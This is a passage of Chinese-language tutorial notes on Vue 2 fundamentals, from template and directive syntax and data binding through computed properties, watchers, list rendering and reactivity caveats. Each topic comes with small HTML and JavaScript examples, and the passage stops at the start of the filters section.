# Vue 核心
# 1. Vue 简介
# 1.1. 官网
v2 -- https://v2.cn.vuejs.org/ (opens new window)
v3 -- https://cn.vuejs.org/ (opens new window)
# 1.2. 介绍与描述
一套用于构建用户界面的渐进式 JavaScript 框架
渐进式:
- Vue 可以自底向上逐层的应用
- 简单应用,只需要核心库
- 复杂应用,可以引入各种 Vue 插件
尤雨溪:
- 2013 年,发布 0.6.0
- 2014 年,发布 0.8.0
- 2015 年,发布 1.0.0
- 2016 年,发布 2.0.0
- 2020 年,发布 3.0.0
# 1.3. Vue 的特点
- 遵循 MVVM 模式
- 编码简洁, 体积小, 运行效率高, 适合移动/PC 端开发
- 它本身只关注 UI, 也可以引入其它第三方库开发项目
# 1.4. 与其它 JS 框架的关联
- 借鉴 Angular 的模板和数据绑定技术
- 借鉴 React 的组件化和虚拟 DOM 技术
# 1.5. Vue 周边库
- vue-cli: vue 脚手架
- vue-resource
- axios
- vue-router: 路由
- vuex: 状态管理
- element-ui: 基于 vue 的 UI 组件库(PC 端)
- ……
# 2. 初识 Vue
# 2.1. 安装
开发版本:
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
生产版本:
<script src="https://unpkg.com/vue@2.7.0/dist/vue.min.js"></script>
开发者工具(vue devtool):
- bug: 没有在模板中出现的属性,变更后 不会更新到开发者工具的监测面板。(此问题在调试时一定要注意)
vscode 插件:
- Vue 3 Snippets (作者:hollowtree)
# 2.2. 示例
<!--01.初识Vue.html-->
<div id="root">
<h1>Hello, {{ name }}</h1>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
/*
生产提示:
You are running Vue in development mode.
Make sure to turn on production mode when deploying for production.
See more tips at https://vuejs.org/guide/deployment.html
*/
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
// 指定当前 Vue 实例为哪个容器服务
el: '#root',
// data 用于存储数据,数据供容器使用
data: {
name: 'zhangsan'
},
});
</script>
- 容器: #root
- 实例: vm
- 模板: #root 内的 HTML
总结:
- 想让 Vue 工作,就必须创建一个 Vue 实例,且要传入一个配置对象;
root
容器里的代码依然符合 html 规范,只不过混入了一些特殊的 Vue 语法;root
容器里的代码被称为【Vue 模板】;- Vue 实例和容器是一一对应的;
- 真实开发中只有一个 Vue 实例,并且会配合着组件一起使用;
{{xxx}}
中的xxx
要写 js 表达式,且xxx
可以自动读取到data
中的所有属性;
- 一旦
data
中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
注意区分 js表达式 和 js代码(语句) :
表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
- a
- a+b
- demo(1)
- x === y ? 'a' : 'b'
js代码(语句)
- if(){}
- for(){}
# 2.3. 扩展
指定容器的两种方法:
options.el: '#root'
, new Vue 时配置el
属性vm.$mount('#root')
,先创建 Vue 实例,再通过$mount()
方法指定 el
// 1.
new Vue({
el: '#root',
});
// 2.
cont vm = new Vue({});
vm.$mount('#root');
data 的两种写法:
- 对象式
- 函数式
new Vue({
data: {
name: '张三',
}
});
new Vue({
data() {
// this === vm
return {
name: '张三',
};
}
});
# 3. 模板语法
# 3.1. 介绍
html 中包含了一些 JS 语法代码,语法分为两种,分别为:
- 插值语法(双大括号表达式)
- 指令(以
v-
开头)
# 3.2. 插值语法
功能: 用于解析标签体内容
语法: {{xxx}}
,xxxx
会作为 js 表达式解析
# 3.3. 指令语法
功能: 解析标签属性、解析标签体内容、绑定事件
举例:v-bind:href = 'xxxx'
,xxxx
会作为 js 表达式被解析
说明:Vue 中有有很多的指令,此处只是用 v-bind
举个例子
# 3.4. 示例
<!--02.模板语法.html-->
<div id="root">
<h1>插值语法</h1>
<p>你好,{{ name }}</p>
<h1>指令语法</h1>
<p><a v-bind:href="school.url">{{ school.name }}</a></p>
<p><a :href="school.url">{{ school.name }}</a></p>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el: '#root',
data: {
name: '张三',
school: {
name: '百度',
url: 'https://www.baidu.com'
}
},
});
</script>
# 4. 数据绑定
# 4.1. 介绍
Vue中有2种数据绑定的方式:
- 单向绑定(
v-bind
) - 双向绑定(
v-model
)
# 4.2. 单向数据绑定
语法:v-bind:href ="xxx"
(简写为 :href
)
特点:数据只能从 data
流向页面
# 4.3. 双向数据绑定
语法:v-model:value="xxx"
(简写为 v-model="xxx"
,因为 v-model
默认收集的就是 value
值)
特点:数据不仅能从 data
流向页面,还能从页面流向 data
注意:
- 双向绑定一般都应用在表单类元素上(如:
<input>
、<select>
等) - 自定义组件,可以指定
model
属性
# 4.4. 示例
<!--03.数据绑定.html-->
<div id="root">
<h1>单向绑定</h1>
<p><input v-bind:value="name"></p>
<p><input :value="name"></p>
<h1>双向绑定</h1>
<p><input v-model:value="age"></p>
<p><input v-model ="age"></p>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el: '#root',
data: {
name: '张三',
age: 18,
},
});
</script>
# 5. MVVM 模型
- M:模型(Model) :对应 data 中的数据
- V:视图(View) :模板
- VM:视图模型(ViewModel) : Vue 实例对象
扩展:
data
中所有的属性,最后都出现在了vm
身上。vm
身上所有的属性 及 Vue 原型上所有属性,在 Vue 模板中都可以直接使用。
# 6. 数据代理
# 6.1. Object.defineProperty()
方法
let number = 18
let person = {
name:'张三',
sex:'男',
}
Object.defineProperty(person,'age',{
// value: 18,
// enumerable: true, // 控制属性是否可以枚举,默认值是false
// writable: true, // 控制属性是否可以被修改,默认值是false
// configurable: true // 控制属性是否可以被删除,默认值是false
//当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
get(){
console.log('有人读取age属性了')
return number
},
//当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
set(value){
console.log('有人修改了age属性,且值是',value)
number = value
}
})
// console.log(Object.keys(person))
console.log(person)
通过此方法将两个对象关联起来
# 6.2. 何为数据代理
通过一个对象代理对另一个对象中属性的操作(读/写)
const person = { age: 18 };
const personProxy = {};
Object.defineProperty(personProxy, 'age', {
get(){
return person.age
},
set(value){
person.age = value
}
})
# 6.3. Vue中的数据代理
Vue中的数据代理:
- 通过 vm 对象来代理 data 对象中属性的操作(读/写)
Vue中数据代理的好处:
- 更加方便的操作 data 中的数据
基本原理:
- 通过
Object.defineProperty()
把 data 对象中所有属性添加到 vm 上。 - 为每一个添加到 vm 上的属性,都指定一个 getter/setter 。
- 在 getter/setter 内部去操作(读/写)data中对应的属性。
示例:
<!--04.数据代理.html-->
<div id="root">
<h1>{{ age }}</h1>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const data = { age: 18 };
const vm = new Vue({
el: '#root',
data,
});
console.log(vm._data === data); // true
// vm.age = 19;
</script>
# 7. 事件处理
# 7.1. 事件的基本使用
- 使用
v-on:xxx
或@xxx
绑定事件,其中xxx
是事件名; - 事件的回调需要配置在
methods
对象中,最终会在 vm 上; - methods 中配置的函数,不要用箭头函数!否则
this
就不是 vm 了; - methods 中配置的函数,都是被 Vue 所管理的函数,
this
的指向是 vm 或 组件实例对象; @click="demo"
和@click="demo($event)"
效果一致,但后者可以传参;
注意:
- 事件绑定中,无参方法可以不加
()
,但在其他的地方(如{{ add() }}
)需要加()
<!--05.事件的基本使用.html-->
<div id="root">
<!-- <button v-on:click="showInfo">点我提示信息</button> -->
<button @click="showInfo1">点我提示信息1(不传参)</button>
<button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el: '#root',
// 里面的数据会被 数据代理、数据劫持
data: {},
// 仅仅只是被调用
methods: {
showInfo1(event){
// console.log(event.target.innerText)
// console.log(this) //此处的this是vm
alert('同学你好!')
},
showInfo2(event,number){
console.log(event,number)
alert('同学你好!!')
}
}
});
</script>
# 7.2. 事件修饰符
- prevent :阻止默认事件(常用);
- stop :阻止事件冒泡(常用);
- once :事件只触发一次(常用);
- capture :使用事件的捕获模式;(先捕获后冒泡)
- self :只有
event.target
是当前操作的元素时才触发事件; - passive :事件的默认行为立即执行,无需等待事件回调执行完毕;(移动端用得比较多,避免回调执行时间过程造成卡顿)
示例:
<!-- 先阻止默认行为,再停止冒泡 -->
<a href="http://www.baidu.com" @click.prevent.stop="search">搜索</a>
# 7.3. 按键修饰符
1.Vue中常用的按键别名:
- 回车 => enter
- 删除 => delete (捕获“删除”和“退格”键)
- 退出 => esc
- 空格 => space
- tab建 => tab (特殊,必须配合
keydown
去使用) - 上 => up
- 下 => down
- 左 => left
- 右 => right
2.Vue未提供别名的按键,可以使用按键原始的 key 值(event.key
)去绑定,但注意要转为 kebab-case(短横线命名),如
- CapsLock --> caps-lock
3.系统修饰键(用法特殊): ctrl 、 alt 、shift 、meta (windows键)
- (1).配合 keyup 使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
- (2).配合 keydown 使用:正常触发事件。
4.也可以使用 keyCode 值(event.keyCode
) 去指定具体的按键(不推荐)
5.Vue.config.keyCodes.自定义键名 = 键码
,可以去定制按键别名
6..exact
修饰符允许你控制由精确的系统修饰符组合触发的事件
示例:
<!--06.按键修饰符.html-->
<div id="root">
<!-- 按下的键中包含 alt 、s 就会触发 -->
<p><input type="text" @keyup.alt.s="showInfo"></p>
<!-- 按下的键中有且仅有 alt 、s 就会触发 -->
<p><input type="text" @keyup.alt.s.exact="showInfo"></p>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el: '#root',
methods: {
showInfo(event){
console.log(event.target.value, event.key);
},
}
});
</script>
# 8. 计算属性与监视
# 8.1. 介绍
data 一旦改变,模板就会重新解析,并更新到页面
# 8.2. 计算属性 -- computed
定义:要用的属性不存在,要通过已有属性计算得来。
原理:底层借助了 Object.defineProperty
方法提供的 getter 和 setter 。
get函数什么时候执行?
- (1).初次读取时会执行一次。
- (2).当依赖的数据发生改变时会被再次调用。
优势:与 methods 实现相比,内部有缓存机制(复用),效率更高,调试方便。
备注:
- 计算属性最终会出现在 vm 上,直接读取使用即可。
- 如果计算属性要被修改,那必须写 set 函数去响应修改,且 set 中要引起计算时依赖的数据发生改变。
示例:
<!--07.计算属性.html-->
<div id="root">
<p>姓:<input v-model="firstName"></p>
<p>名:<input v-model="lastName"></p>
<p>全名:<input v-model="fullName"></p>
{{ fullName }}
{{ fullName }}
{{ getFullName() }}
{{ getFullName() }}
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el: '#root',
data: {
firstName: '张',
lastName: '三',
},
methods: {
// 一旦数据发生变化,模板重新解析,该方法会重复执行很多次
getFullName(event){
console.log('getFullName() 被调用');
return this.firstName + this.lastName;
},
},
computed: {
// 一旦数据发生变化,模板重新解析,getter 只会执行一次
fullName: {
get() {
console.log('fullName.get() 被调用');
return this.firstName + this.lastName;
}
},
// 简写形式
fullName2() {
return this.firstName + this.lastName;
}
},
});
</script>
# 8.3. 监视属性 -- watch
# 8.3.1. 基本使用
说明:
当被监视的属性变化时, 回调函数自动调用, 进行相关操作
监视的属性必须存在,才能进行监视!!(如果属性不存在也不会报错)
监视的两种写法:
- (1). new Vue 时传入 watch 配置
- (2). 通过 vm.$watch 监视
示例:
<!--08.监视属性.html-->
<div id="root">
<p>今天天气很{{ info }}</p>
<p><button @click="changeWeather">改变天气</button></p>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el: '#root',
data: {
isHot: true,
},
computed: {
info() {
return this.isHot ? '炎热' : '凉爽';
}
},
methods: {
changeWeather() {
this.isHot = !this.isHot;
},
},
watch:{
isHot:{
// 初始化时让 handler 调用一下
// immediate: true, // 默认值为 false
// handler 什么时候调用?当 isHot 发生改变时。
handler(newValue, oldValue){
console.log('isHot被修改了', newValue, oldValue)
}
}
}
});
</script>
# 8.3.2. 深度监视
说明:
- (1). Vue 中的 watch 默认不监测对象内部值的改变(一层)。
- (2). 配置
deep:true
可以监测对象内部值改变(多层)。
备注:
- (1). Vue 自身可以监测对象内部值的改变,但 Vue 提供的 watch 默认不可以!
- (2). 使用 watch 时根据数据的具体结构,决定是否采用深度监视。
示例:
<!--09.监视属性-deep.html-->
<div id="root">
<p>a: {{ numbers.a }} <button @click="numbers.a++">改变 a</button></p>
<p>b: {{ numbers.b }} <button @click="numbers.b++">改变 b</button></p>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el: '#root',
data: {
numbers: {
a: 1,
b: 2,
},
},
watch:{
'numbers.a'(newValue, oldValue) {
console.log(`numbers.a 被改变了: ${oldValue} --> ${newValue}`);
},
'numbers.b'(newValue, oldValue) {
console.log(`numbers.b 被改变了: ${oldValue} --> ${newValue}`);
},
numbers: {
deep: true,
handler(newValue, oldValue) {
console.log(
'numbers 被改变了: ',
JSON.stringify(oldValue), // {"a":2,"b":2}
JSON.stringify(newValue), // {"a":2,"b":2}
newValue === oldValue // true
);
},
}
}
});
</script>
# 8.4. 监视 vs 计算属性
computed 和 watch 之间的区别:
- computed 能完成的功能,watch 都可以完成。
- watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作。
两个重要的小原则:
- 所被 Vue 管理的函数,最好写成普通函数,这样 this 的指向才是 vm 或 组件实例对象。
- 所有不被 Vue 所管理的函数(定时器的回调函数、ajax 的回调函数等、Promise 的回调函数),最好写成箭头函数,这样 this 的指向才是vm 或 组件实例对象。
# 9. class 与 style 绑定
# 9.1. class 样式
写法 :class="xxx"
, xxx
可以是字符串、对象、数组。
字符串写法适用于:类名不确定,要动态获取。
对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
# 9.2. style 样式
:style="{fontSize: xxx}"
其中 xxx
是动态值。
:style="[a,b]"
其中 a
、b
是样式对象。
# 9.3. 示例
<!--10.绑定样式.html-->
<div id="root">
<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
<div class="basic" :class="classStr">111</div>
<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
<div class="basic" :class="classArr">222</div>
<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
<div class="basic" :class="classObj">333</div>
<!-- 绑定style样式--对象写法 -->
<div class="basic" :style="styleObj">444</div>
<!-- 绑定style样式--数组写法 -->
<div class="basic" :style="styleArr">555</div>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el: '#root',
data: {
classStr: 'color-red',
classArr: ['color-green', 'font-big'],
classObj: {
radius: true,
'font-big': false,
border: true,
},
styleObj: {
'font-size': '24px',
'border-radius': '3px'
},
styleArr: [
{ fontSize: '12px', color: 'red' },
{ backgroundColor: 'pink' }
],
},
});
</script>
# 10. 条件渲染
- v-show
- v-if / v-else-if / v-else
# 10.1. 介绍
v-if :
- 写法:
- (1) v-if="表达式"
- (2) v-else-if="表达式"
- (3) v-else="表达式"
- 适用于:切换频率较低的场景。
- 特点:不展示的 DOM 元素直接被移除。
- 注意:v-if 可以和 v-else-if、v-else 一起使用,但要求结构不能被“打断”。
- 可以使用
<template v-if="xxx">
同时对多个元素进行条件判断
v-show :
- 写法:v-show="表达式"
- 适用于:切换频率较高的场景。
- 特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
备注:使用 v-if 的时,元素可能无法获取到,而使用 v-show 一定可以获取到。
# 10.2. 示例
<!--11.条件渲染.html-->
<div id="root">
<h1 v-show="n === 1">n = 1</h1>
<h1 v-show="n === 2">n = 2</h1>
<h1 v-show="n === 3">n = 3</h1>
<h1 v-if="n === 1">n = 1</h1>
<h1 v-else-if="n === 2">n = 2</h1>
<h1 v-else-if="n === 3">n = 3</h1>
<h1 v-else>none</h1>
<template v-if="n === 1">
<div>哈</div>
<div>哈</div>
<div>哈</div>
</template>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el: '#root',
data: {
n: 1,
},
});
</script>
# 11. 列表渲染
# 11.1. 基本列表
v-for 指令:
- 用于展示列表数据
- 语法:
v-for="(item, index) in xxx" :key="yyy"
- 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
示例:
<!--12.列表渲染-01-基本.html-->
<div id="root">
<h1>遍历数组</h1>
<div v-for="(item, index) in list" :key="item.id">
{{item.name}} - {{index}}
</div>
<h1>遍历对象</h1>
<div v-for="(value, key) in obj" :key="key">
{{value}} - {{key}}
</div>
<h1>遍历字符串</h1>
<div v-for="(char, index) in str" :key="index">
{{char}} - {{index}}
</div>
<h1>遍历指定次数</h1>
<div v-for="(num, index) in times" :key="index">
{{num}} - {{index}}
</div>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el: '#root',
data: {
list: [
{id:'001',name:'张三',age:18},
{id:'002',name:'李四',age:19},
{id:'003',name:'王五',age:20}
],
obj: {
name:'奥迪A8',
price:'70万',
color:'黑色'
},
str:'hello',
times: 5,
},
});
</script>
# 11.2. key 的原理
react、vue中的key有什么作用?(key的内部原理):
1. 虚拟DOM中key的作用:
key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,
随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
2.对比规则:
(1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
(2).旧虚拟DOM中未找到与新虚拟DOM相同的key
创建新的真实DOM,随后渲染到到页面。
3. 用index作为key可能会引发的问题:
1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
2. 如果结构中还包含输入类的DOM:
会产生错误DOM更新 ==> 界面有问题。
4. 开发中如何选择key?:
1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
使用index作为key是没有问题的。
也就是说:
- 列表中,对比算法 是把 key 相同的 vNode 进行比较,最后再把数据更新到对应 key 的 DOM 上。
- 列表的展示,可以使用 index 作为 key
- 列表的增删,一定要用 id 作为 key,否则效率低且输入类的DOM可能会出错
示例:
<!--13.列表渲染-02-key的原理.html-->
<div id="root">
<button @click="add">添加一个老刘</button>
<h2>人员列表(使用 index 作为 key)</h2>
<ul>
<li v-for="(p,index) of persons" :key="index">
{{p.name}}-{{p.age}}
<input type="text">
</li>
</ul>
<h2>人员列表(使用 id 作为 key)</h2>
<ul>
<li v-for="(p,index) of persons" :key="p.id">
{{p.name}}-{{p.age}}
<input type="text">
</li>
</ul>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el: '#root',
mounted() {
Array.from(document.querySelectorAll('input')).forEach((elt) => {
elt.value = elt.parentElement.innerText;
});
},
data:{
persons:[
{id:'001',name:'张三',age:18},
{id:'002',name:'李四',age:19},
{id:'003',name:'王五',age:20}
]
},
methods: {
add(){
const p = {id:'004',name:'老刘',age:40}
this.persons.unshift(p)
}
},
});
</script>
# 11.3. 列表过滤
说明:
- watch 和 computed 都可以实现
- 优先使用 computed
示例:
<!--14.列表渲染-03-列表过滤.html-->
<div id="root">
<input type="text" v-model="keyword">
<h2>使用 watch</h2>
<ul>
<li v-for="(p,index) of filteredPersons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.id}}
</li>
</ul>
<h2>使用 computed</h2>
<ul>
<li v-for="(p,index) of computedPersons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.id}}
</li>
</ul>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el: '#root',
data:{
keyword: '',
persons:[
{id:'001',name:'马冬梅',age:19,sex:'女'},
{id:'002',name:'周冬雨',age:20,sex:'女'},
{id:'003',name:'周杰伦',age:21,sex:'男'},
{id:'004',name:'温兆伦',age:22,sex:'男'}
],
filteredPersons: [],
},
watch: {
keyword: {
immediate: true,
handler(value) {
this.filteredPersons = this.persons
.filter((item) => item.name.includes(this.keyword));
}
}
},
computed: {
computedPersons() {
return this.persons
.filter((item) => item.name.includes(this.keyword));
}
},
});
</script>
# 11.4. 列表排序
示例:
<!--15.列表渲染-04-列表排序.html-->
<div id="root">
<input type="text" v-model="keyword">
<button @click="sort = 'asc'">升序</button>
<button @click="sort = 'desc'">降序</button>
<button @click="sort = ''">原顺序</button>
<ul>
<li v-for="(p,index) of computedPersons" :key="p.id">
{{p.id}}-{{p.name}}-{{p.age}}
</li>
</ul>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el: '#root',
data:{
keyword: '',
sort: '', // '': 原顺序; 'asc': 升序; 'desc': 降序
persons:[
{id:'001',name:'马冬梅',age:30,sex:'女'},
{id:'002',name:'周冬雨',age:31,sex:'女'},
{id:'003',name:'周杰伦',age:18,sex:'男'},
{id:'004',name:'温兆伦',age:19,sex:'男'}
],
},
computed: {
computedPersons() {
const list = this.persons .filter((item) => item.name.includes(this.keyword));
if (this.sort === 'asc') {
list.sort((p1, p2) => p1.age - p2.age);
} else if (this.sort === 'desc') {
list.sort((p1, p2) => p2.age - p1.age);
}
return list;
}
},
});
</script>
# 12. 数据监视
# 12.1. 数组元素更新问题
示例:
<!--16.数据监视-05-数组元素更新问题.html-->
<div id="root">
<h2>人员列表</h2>
<button @click="updateMeiSuccess">更新马冬梅的信息(生效)</button>
<button @click="updateMeiFail">更新马冬梅的信息(无效)</button>
<ul>
<li v-for="(p,index) of persons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el:'#root',
data:{
persons:[
{id:'001',name:'马冬梅',age:30,sex:'女'},
{id:'002',name:'周冬雨',age:31,sex:'女'},
{id:'003',name:'周杰伦',age:18,sex:'男'},
{id:'004',name:'温兆伦',age:19,sex:'男'}
]
},
methods: {
updateMeiSuccess() {
this.persons[0].name = '马老师';
this.persons[0].age = 50;
this.persons[0].sex = '男';
},
updateMeiFail() {
this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'};
},
}
});
</script>
# 12.2. 模拟对象数据监视
说明:
- 数据代理: vm 可以访问到 vm._data 上的所有属性
- 数据劫持: Vue 把 options.data 变成了 vm._data,对其每个属性都进行了监控
对象类型:
data = {
person: { name: '张三' },
}
vm._data
{__ob__: Observer}
person : Object
name : (...)
get name : ƒ reactiveGetter()
set name : ƒ reactiveSetter(newVal)
get person : ƒ reactiveGetter()
set person : ƒ reactiveSetter(newVal)
基本类型数组:
data = {
nums: [1, 2],
}
vm._data
{__ob__: Observer}
nums : Array(2)
0 : 1
1 : 2
length : 2
get nums : ƒ reactiveGetter()
set nums : ƒ reactiveSetter(newVal)
对象类型数组:
data = {
persons: [ { name: '张三' } ]
}
vm._data
{__ob__: Observer}
persons : Array(1)
0 : {__ob__: Observer}
name : (...)
get name : ƒ reactiveGetter()
set name : ƒ reactiveSetter(newVal)
length : 1
get persons : ƒ reactiveGetter()
set persons : ƒ reactiveSetter(newVal)
示例:
<!--17.数据监视-06-模拟数据监测.html-->
<div id="name">张三</div>
<div id="age">18</div>
<script>
let data = {
name: '张三',
age: 18,
};
let vm = {};
const dataObserver = new Observer(data);
vm._data = dataObserver;
data = dataObserver;
// 监测 obj 的所有属性
function Observer(obj) {
const keys = Object.keys(obj);
keys.forEach((key) => {
Object.defineProperty(this, key, {
get() {
return obj[key];
},
set(value) {
obj[key] = value;
console.log(`${key} 被修改了, 进行后续的操作(解析模板、生成虚拟DOM)`);
document.getElementById(key).innerText = value;
}
});
});
}
</script>
# 12.3. 对象数据新增属性
添加普通属性:
vm.person.girlFriend = '韩梅梅'; // 无效
vm._data.person.girlFriend = '韩梅梅'; // 无效
通过 Vue.set()
或 vm.$set()
添加响应式属性:
// Vue.set( target, propertyName/index, value )
vm.$set(vm.person, 'girlFriend', '韩梅梅');
注意:
- target 不能是 vm 、 vm._data 、 vm.$data
示例:
<!--18.数据监视-07-Vue.set的使用.html-->
<div id="root">
<h2>人员信息:</h2>
<ul>
<li v-for="(value, key) in person" :key="key">{{key}}: {{value}}</li>
</ul>
<p>新属性名:<input v-model="prop"></p>
<p>新属性值:<input v-model="value"></p>
<p><button @click="add">新增</button></p>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el:'#root',
data:{
prop: '',
value: '',
person: {
name: '张三'
},
},
methods: {
add() {
this.$set(this.person, this.prop, this.value);
},
}
});
</script>
# 12.4. 数组的更新
通过索引修改数组元素:
data = {
hobbies: ['踢足球', '打篮球']
};
vm.hobbies[1] = '打乒乓球'; // 无效
通过变更方法(push、pop、shift、unshift、splice、sort、reverse)修改:
// splice(start, deleteCount, item1, item2, itemN)
vm.hobbies.splice(1, 1, '打乒乓球'); // 有效
// Vue 包装了 变更方法,在里面添加了 模板更新操作
[1, 2, 3].push === Array.prototype.push; // true
vm.hobbies.push === Array.prototype.push; // false
通过 Vue.set 修改:
vm.$set(vm.hobbies, 1, '打乒乓球');
通过替换数组修改:
const hobbies = vm.hobbies;
hobbies[1] = '打乒乓球';
vm.hobbies = hobbies;
示例:
<!--19.数据监视-08-数组的更新.html-->
<div id="root">
<button @click="updateByIndex">update by index</button>
<button @click="updateBySplice">update by splice</button>
<button @click="updateByVueSet">update by Vue.set</button>
<ul>
<li v-for="item in hobbies">{{ item }}</li>
</ul>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el:'#root',
data:{
hobbies: ['踢足球', '打篮球', 'xxx'],
nums: [1, 2],
persons: [ { name: '张三' } ],
person: { name: '张三' },
},
methods: {
updateByIndex() {
this.hobbies[1] = 'updateByIndex';
},
updateBySplice() {
this.hobbies.splice(1, 1, 'updateBySplice');
},
updateByVueSet() {
this.$set(this.hobbies, 1, 'updateByVueSet');
},
}
});
</script>
# 12.5. 总结
Vue监视数据的原理:
1. vue会监视data中所有层次的数据。
2. 如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要监测的数据。
(1).对象中后追加的属性,Vue默认不做响应式处理
(2).如需给后添加的属性做响应式,请使用如下API:
Vue.set(target,propertyName/index,value) 或
vm.$set(target,propertyName/index,value)
3. 如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事:
(1).调用原生对应的方法对数组进行更新。
(2).重新解析模板,进而更新页面。
4.在Vue修改数组中的某个元素一定要用如下方法:
1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
2.Vue.set() 或 vm.$set()
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
# 13. 收集表单数据
<input type="text" />
:
- v-model 收集的是 value 值,用户输入的就是 value 值
<input type="radio" />
:
- v-model 收集的是 value 值,且要给标签配置 value 属性
<input type="checkbox" />
:
- v-model 默认收集的是 checked 值,值是 true(勾选)、false(为勾选)
- 当设置了 value 属性:
- 如果 v-model 的初始值不是数组,则收集 checked 值
- 如果 v-model 的初始值是数组, 则收集各个 value 组成的数组
v-model 的三个修饰符:
- lazy:失去焦点再收集数据
- number:输入字符串转为有效的数字
- trim:输入首尾空格过滤
示例:
<!--20.收集表单数据.html-->
<div id="root">
<form>
<p>用户名:<input type="text" v-model="person.account"></p>
<p>性别:
男<input type="radio" v-model="person.gender" value="male">
女<input type="radio" v-model="person.gender" value="female">
</p>
<p>爱好1:
吃<input type="checkbox" v-model="person.hobby1" value="eat">
喝<input type="checkbox" v-model="person.hobby1" value="drink">
</p>
<p>爱好2:
吃<input type="checkbox" v-model="person.hobby2" value="eat">
喝<input type="checkbox" v-model="person.hobby2" value="drink">
</p>
<p>学校:
<select v-model="person.school">
<option value="">请选择</option>
<option value="xiaoxue">小学</option>
<option value="chuzhong">初中</option>
</select>
</p>
<p><button type="button" @click="submit">提交</button></p>
</form>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el:'#root',
data:{
person: {
account: '',
gender: 'male',
hobby1: '',
hobby2: [],
school: '',
}
},
methods: {
submit() {
console.log({...this.person});
}
}
});
</script>
# 14. 过滤器
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
语法:
- 注册:
Vue.filter(filterName, fn)
或options.filters = { filterName: fn }
- 使用:
{{ xxx | filterName}}
或v-bind:属性 = "xxx | filterName"
备注:
